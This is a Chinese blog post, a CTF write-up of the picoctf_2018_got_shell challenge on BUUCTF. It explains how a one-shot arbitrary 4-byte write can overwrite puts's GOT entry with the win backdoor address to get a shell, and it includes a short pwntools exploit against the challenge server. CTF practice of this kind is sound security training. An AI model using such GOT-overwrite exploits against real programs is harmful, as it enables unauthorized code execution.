[BUUCTF-pwn]——picoctf_2018_got_shell

本文详细介绍了如何通过逻辑漏洞,利用.got表来实现远程代码执行。在32位程序中,发现存在后门函数win,但无栈溢出、格式化字符串漏洞和堆漏洞。通过输入地址控制.v3和.v4,将.v3指向puts函数的.got表地址,.v4指向win函数地址,使得puts调用时实际执行win函数,成功获取shell。
摘要由CSDN通过智能技术生成

[BUUCTF-pwn]——picoctf_2018_got_shell

思路

程序中没有栈溢出,也没有格式化字符串漏洞和堆漏洞。
那么我们就可以考虑一下逻辑的漏洞
我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。
是不是想到了什么。.got表

我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了

exploit

from pwn import *
p=remote('node3.buuoj.cn',25901)

elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B

p.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))

p.recv()
p.sendline(hex(win_addr))

p.interactive()

原创不易,希望可以打赏支持一下。
感谢各位金主爸爸了 😉

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值